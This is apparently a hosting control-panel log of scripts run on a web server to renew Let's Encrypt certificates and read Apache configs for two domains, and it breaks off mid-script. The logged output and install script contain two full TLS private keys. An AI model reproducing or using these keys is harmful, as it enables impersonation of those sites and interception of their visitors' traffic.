    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-19 14:25:09: 

chmod 755 /tmp/pkp218641; /tmp/pkp218641; rm /tmp/pkp218641

2026-03-19 14:25:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/r-b-c_www_org.conf	1323

<VirtualHost *:80>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_error.log
    SetEnv pkp_uid	59
    SetEnv pkp_owner	rbc
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_secure_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-19 14:25:09: 

PUT: /tmp/pkp607797

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-19 14:25:09: 

chmod 755 /tmp/pkp607797; /tmp/pkp607797; rm /tmp/pkp607797

2026-03-19 14:25:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt	5353
99:22:fc:a8:9a:d1:ef:87:66:9a:92:c8:ba:f8:aa:4b

-----BEGIN CERTIFICATE-----
MIIE+zCCA+OgAwIBAgISBuDZiVNG+erHO3QOvP3/cyhRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzE5MTMyNjM3WhcNMjYwNjE3MTMyNjM2WjAUMRIwEAYDVQQD
EwlyLWItYy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC2qB7m
/G4oCkxLYBMdsaCvp2s0ylV8XiWqJkNksFP+JAqZGatvdmRegsdDx8wKD4+rtwLq
BhnDGCukc0vO1KVL/fkq0THArodUYzet/uUNIKrx7+HZQdGQtBnnjDZ8Nu7rd+//
MmZe84nuvr+1oCc2+fekLNbRHTvF+Mue7Iy2v6GRcJvjMvLrq+aoF6vIpWzHDt7m
40nZHMdF5Jba3Oue7SF2X70rwX4j8ZfG4bp8hKHtQSrTd8K8oHHXe9wYVWYZlBAy
ysKsQqvGdcTc7M5LMBHHgbAphpe1Nvrhhg4OQwzMh6K0X5yjOVIJ4R1VwhFCW7sT
JIx4JtDT12r3I7szAgMBAAGjggImMIICIjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0l
BAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU8KoPVkIveAj+
dr5NQJDTJse0ztswHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM0dIwMwYI
KwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3Jn
LzAjBgNVHREEHDAagglyLWItYy5vcmeCDXd3dy5yLWItYy5vcmcwEwYDVR0gBAww
CjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNy
Lm9yZy84Mi5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgAOV5S8866pPjMb
LJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZ0GfF+fAAAEAwBHMEUCIQCawXWOO/WT
RWzToN902Z6ifYlQn3RVcgtZf6oZoU1dPwIgXiZeYZTTN50icPGSyrXURcW0WsM/
Fm3Ntaaqd0UZ31MAfgAai51pSleYyJmgyoi99I/AtFZgzMNgDR9x9Gn/x9GsowAA
AZ0GfGK8AAgAAAUAV1k6HQQDAEcwRQIhAPhRTXvBm+lPI7hzFDgqC5jWZi8qgISf
gzSl4Jh8LkJVAiBXyKm3y5Zdd9vs/pJJ1qOZWXbNgMr9vnBaXGeHahmgkzANBgkq
hkiG9w0BAQsFAAOCAQEAEeh1x/Ug1IJmd5U/uHkaZdMKhZuRnO8xOJUaM4YMD2bL
qNH8/7T1FsvcOBY9vP9QIz+to30W8HXHdJ9u9wlP+Pefnivv1A48gmKlXExAOcm/
2Ox3U54ckdK3UZxY8CbyEAMgKrny1/r/bLF7wEW/f11TUYDdQ1RAX2vEMnzHvm5q
+F/YS1LnqzmEgxuRnW371C5DYJHoXDMPoH/d9BX6v1kRiGaqx7KVOnW8M7ymaVT/
63ROlEllRnIRcm7SUPsDy07gXg+VXY48AB/cSiyxSHC2c4dd4GmSfM3qeGSdWZ6E
9sYNidMGuju4k8ZSDYRKoSGEtn87LfJGFReBgSfl2Q==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQC2qB7m/G4oCkxL
YBMdsaCvp2s0ylV8XiWqJkNksFP+JAqZGatvdmRegsdDx8wKD4+rtwLqBhnDGCuk
c0vO1KVL/fkq0THArodUYzet/uUNIKrx7+HZQdGQtBnnjDZ8Nu7rd+//MmZe84nu
vr+1oCc2+fekLNbRHTvF+Mue7Iy2v6GRcJvjMvLrq+aoF6vIpWzHDt7m40nZHMdF
5Jba3Oue7SF2X70rwX4j8ZfG4bp8hKHtQSrTd8K8oHHXe9wYVWYZlBAyysKsQqvG
dcTc7M5LMBHHgbAphpe1Nvrhhg4OQwzMh6K0X5yjOVIJ4R1VwhFCW7sTJIx4JtDT
12r3I7szAgMBAAECggEAG2BktqeBtdaf9hwsQU3CO7w9a+giRUWxzNLMqbwT8AoO
3JY7BQsa+AoPO7An0Mo29RG1Chu9ThRtVh9BxCTzBsobcmNwWuTNu8QzMDeoClOp
y3acxHys9aHzeqpKmvYmJny6J+cHQ5aqRxz9Nt0OLkXrlrEccV3kUO59S7tAoT3O
xBWm8RmpQC0Yj0PfnqYjJiozL1RdtdHpBDdKDPcTphBQK5lUn50Mqp/29A/+MrzS
eKQzjbLSGsyQWCFsXAJUeA1zoekHp1VzQVDRmEbCVSP3qziw1Zza361u8W66arX7
bcjrwJBBPDRs3aG6il7N8S9P5bUXQInS2aui+A4eIQKBgQDdW/IQHmi5LutU2gGz
BXMXflA7nEIQ9NSsBjPXN0R/ISegNdrO6ShEz0nsWfZySDXJx8fwXJUQ6WUH3QPc
XWtEf/Q3VU4Ae45duZJrhpBC5IEZHiYpXurNok5jOsPiPNQ84V6iZpJI2oBXfe9w
v+P5x4H13iTJsLVnFYUHquLyHwKBgQDTPa8vnFNj6P8rSM9a3T9r7tjfk69feexU
FBJe2tpCGhN1nPvEtbcIIkBsHG6Krba2yI2WJ1n10pJhNBJ7kzH7GuCg5nhfxSAr
ZwbJg9/LjSkqGLhyBUqRI+Sh0+yRzifv0yOcFQ5L/Po14Up0bXQY8Iyq6OgSR0I0
T9KqpZDcbQKBgQCeDWqXC79mihPJ8CdKddeprK0JAxdBGC9J7NvTDUlBJKEwiYOE
PYJdL0zvD4UiMGEHhDhEbTaabquOo8Z/78wJivsLD0O0oIQUc84SLHCQ8qsjDh3d
aEJrNTqXK3x160z3c0uo1WgZ0LnWvrraXIkg7czjiwvlXuEHi5wCz4dfrQKBgQDD
zGc3UEUTVIJAUqqwZGdG2gr3oWJqsw5VGI22klC/+H+VAr9zI6PVzDm+e9QSgtXb
MqXaSftemaHIq4V+OX+Yat9PBJEK5CLfWA24d53WhK9lL6i3NyRYx9ZCEbczpszp
xOE66WFpGcGqc3qZ1GJKQ51/RYbmelppNpvkRLazOQKBgQCf4PuXPh+OtzolIhz6
o/ZLK4ACgOlNKKK4UTD7ugQhS08bBQs3QjffDuRuXwlvDrjEeha8VjDLt0p5HXAc
1W8tnIkgKNw2iqObHWQ9UAIfMHi8RowZdGCMXGoWLHJd5uGYEM7+fDNCnYqOirbF
1H/X+Wxd/Qk/F+82dvjXbCVFcw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-03-20 06:00:02: Establishing a connection
2026-03-20 06:00:03: Establishing a connection
2026-03-20 06:00:03: 

PUT: /tmp/pkp369429

#!/bin/bash
if [ -d "/var/www/carelinks-uk_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-20 06:00:04: 

chmod 755 /tmp/pkp369429; /tmp/pkp369429; rm /tmp/pkp369429

2026-03-20 06:00:04: 


1


2026-03-20 06:00:06: Establishing a connection
2026-03-20 06:00:06: 

PUT: /tmp/pkp415919

#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cat > w7jCCYpLbzUDpY-cgjV5jy2G2Xhdax8Max_pjNemeVI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
w7jCCYpLbzUDpY-cgjV5jy2G2Xhdax8Max_pjNemeVI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 w7jCCYpLbzUDpY-cgjV5jy2G2Xhdax8Max_pjNemeVI
cat > AvL_LlgK1R7UJC13YaQm1AdAcWhes0FdWT7eXCkO_dA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
AvL_LlgK1R7UJC13YaQm1AdAcWhes0FdWT7eXCkO_dA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 AvL_LlgK1R7UJC13YaQm1AdAcWhes0FdWT7eXCkO_dA


2026-03-20 06:00:06: 

chmod 755 /tmp/pkp415919; /tmp/pkp415919; rm /tmp/pkp415919

2026-03-20 06:00:06: 




2026-03-20 06:00:18: Establishing a connection
2026-03-20 06:00:18: 

PUT: /tmp/pkp177992

#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
rm w7jCCYpLbzUDpY-cgjV5jy2G2Xhdax8Max_pjNemeVI
rm AvL_LlgK1R7UJC13YaQm1AdAcWhes0FdWT7eXCkO_dA


2026-03-20 06:00:18: 

chmod 755 /tmp/pkp177992; /tmp/pkp177992; rm /tmp/pkp177992

2026-03-20 06:00:18: 




2026-03-20 06:00:18: Establishing a connection
2026-03-20 06:00:18: 

PUT: /tmp/pkp873076

#!/bin/bash
temp_file=$(mktemp)
TARGET=50ea9c948624fd26b0aa34d6cc8b41c6.crt

cat > $temp_file <<'endmsg'
fc:c8:51:bd:6d:e0:a6:75:86:8f:81:93:50:51:23:96

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBS9K3qSM+Dm8QLFE6hCmrKuhMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzIwMDUwMTQ2WhcNMjYwNjE4MDUwMTQ1WjAbMRkwFwYDVQQD
ExBjYXJlbGlua3MtdWsub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA4n2fgGf+vN42nqCkRv47CedXAoBdnAB78lNrwQ3NBIkc2XXAQ54W6Dof2jct
Dz30vjQ11yaqTN6eTbR7VGWZobWLO37R5TDA6nAxsAs8Z90cx+cER7spbJjUvzi0
MgDd2ay0ZS/YbqBaGJfj3zsg2HeUFnvxqqjEsIurrG0sg+J8IHVWqe7/L5FM0G9r
ZriyVaT15VaQ+jVeyEoHmCKYqRI5lknIY4g7LaHCqo38zrduCvlyZCt5PzbX5LBd
zkNAg/8VWJVvS6JTI9W/ldeolrIZrNXr2Th2miGlGif4X+F3irempSbQ48qg5b/p
Wvn0c19SUG1fOndN9BePbmrEFwIDAQABo4ICNTCCAjEwDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFGuw
OfstdlLKY77y1ooPM9vQvViEMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiyhA47
1pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5pLmxl
bmNyLm9yZy8wMQYDVR0RBCowKIIQY2FyZWxpbmtzLXVrLm9yZ4IUd3d3LmNhcmVs
aW5rcy11ay5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg
H4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8zNC5jcmwwggENBgorBgEEAdZ5AgQC
BIH+BIH7APkAdgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZ0J
1IfZAAAEAwBHMEUCIQC+oAEqAIAH/CG29V2n39Z4/ghbskEvHxjUNLC34i0l1QIg
SifqUvRgm36aiBmOVpPR7R/L54WvPoEMe4gTrxsQX+MAfwCoJsvjCsY1EkZTP+Bl
8U8Z2W4ZCBPEHdlteQCzEjxVJwAAAZ0J1ItZAAgAAAUAA5vgPwQDAEgwRgIhAMg/
9WOZvRUsC8cNLirwbIHAyzrErNcgNrn7JL3waRLpAiEAiQrTzg3AsF2fXdlgOQb+
6hbcKk/67hAjTxN8WJYh0I8wDQYJKoZIhvcNAQELBQADggEBAFomY1P8GXjeE0Yn
2LkH/Zv47wKfeSBZmredRm0ZtvzB9j89dlzyEG2Rx37RiSg82AYYM7lBjIuFqAY9
/jU0n8UJrQk03p/C6Lz5dSSI07a/Ioju0Zz9v4zgjL7DeB6suFXrGFHZLn1M3qYp
8aJoX84ZwqzIZ2NbM4aMivRIZDpFZPQlQlVF131K5gpZ2jHtgZehZFn2fvG0tXGZ
X2itL1woq99RyMIzEndCWhtw4jnXlsNGKZWId0EV1m3j6oAcMAN4uPd2kl18RExK
iGPb9WEqgNr3HDQ+iAJZB6/W62/0p4R+AyaaRwCFmXS9zzvPuE53BTlH3QrlGRY9
D3CI80g=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDifZ+AZ/683jae
oKRG/jsJ51cCgF2cAHvyU2vBDc0EiRzZdcBDnhboOh/aNy0PPfS+NDXXJqpM3p5N
tHtUZZmhtYs7ftHlMMDqcDGwCzxn3RzH5wRHuylsmNS/OLQyAN3ZrLRlL9huoFoY
l+PfOyDYd5QWe/GqqMSwi6usbSyD4nwgdVap7v8vkUzQb2tmuLJVpPXlVpD6NV7I
SgeYIpipEjmWSchjiDstocKqjfzOt24K+XJkK3k/NtfksF3OQ0CD/xVYlW9LolMj
1b+V16iWshms1evZOHaaIaUaJ/hf4XeKt6alJtDjyqDlv+la+fRzX1JQbV86d030
F49uasQXAgMBAAECggEAK+Ny8oN0ae3XgLKZUsZ180vYYPw154JygjknEsBVX5Eg
PYVjTdcHElYdEQCLIz56vBbK7heofX/QBje4hFixxhOzWMKQ8swZPfSitD3hJTFE
H/qEqk+6zbfp1eorhNsFImakiE0WsA0zmDtqpTnEeh3l3NuEr3DHuHxANofrTdzK
pTyXEeuIqLI2X0NDpyYrOykNbdI797gVtMekPTj6PprH+NaGVyB/y73qM9Xp6b4P
ONAF17Oeg6FXlFpnufbzZSBLvv+GWX0stCYdCh3R7vMmwSoCCT5KXKonkBSxv02P
4oFfDg5wyYp28603eDt384vLPpnAlG0t8DuIn1sOeQKBgQDx8GRTZkw+DXjOVxaS
eu8vSs/LMI3UmztLO2q845vmN0kwguvdRmUqodrB6ncJThxwBTGSMQ6EkUFRCSDe
H9p8xHeCUpidc/8SzBcmEQnsRc+0J/UPMPYpsbSTaLsG8fAm54EJzwP+k7KNxJH5
ghdRPzxYg3MJBswB0F2BxjE2eQKBgQDvp2N78QZqU7fF9KwxhLYfPf0ZO0RKRq9h
otZ2TNkIwB6tJDWMQYk1Siht0lxcdp4Y7ScKNHl87J0opN8Xk5XH6MeW6HNDQKRD
9GNZdhIfHcV3HvaCBUXTdIkqSAsB8GvAp91e6WW4TIqGAj5AiB9XKAGoi3k/5KIl
9ijYnORrDwKBgG3ChYFgk45DRl82G0NxCjoGUqb37CBcHFZRKmdvSzbyNf4QJzlH
ynXA4CHBYSeTjEs1z/tmzhNOYreE0Kh1AwY/i4hQOHSWP04j0QywBjRup4Av8Hln
2QWpXSbTCKZp9G1x8ZSlmkZQc1zlpOPxJOrzKUluuS2LK9pW0VUiuQjhAoGBAKi3
VShaZMPSMFyihd9OqNCR2W879DW+UZYRB569N0YbyvzlsvUM5kWn8ZJvOCq4L1Ep
FATxMF4sTe/hMlXsxtO4I1swRoUgKwTUNmUy5EsXsH7OQ4kBoUjej/o+QdGZqqI1
C3nYIo5/BD6Xsa/IpRe8yH4ZwsCieyzygYsN2RktAoGBAJg8IiQsH/vABXjxC1Dq
9hEYTiPOpvYpSE+O9jT129l45OxXNzzdNIM0myzZlogHkzrigLK6m51nYxIpu2ma
fz2ip2UiBxMDhZZmtffFyo87V//fK8woSB4TRs6ItNVLGRfxzzcc4Nbi/UVgmQqq
yfGOw6kGeMKm9z2y2lI9uPsi
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-20 06:00:18: 

chmod 755 /tmp/pkp873076; /tmp/pkp873076; rm /tmp/pkp873076

2026-03-20 06:00:18: 


dir=/etc/ssl/certs


2026-03-20 06:00:18: 

PUT: /tmp/pkp222829

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinks-uk_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-20 06:00:18: 

chmod 755 /tmp/pkp222829; /tmp/pkp222829; rm /tmp/pkp222829

2026-03-20 06:00:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks-uk_www_org.conf 44

<VirtualHost *:80>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-20 06:00:18: 

PUT: /tmp/pkp720705

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks-uk_www_org.conf
TARGET=/etc/apache2/sites-enabled/carelinks-uk_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
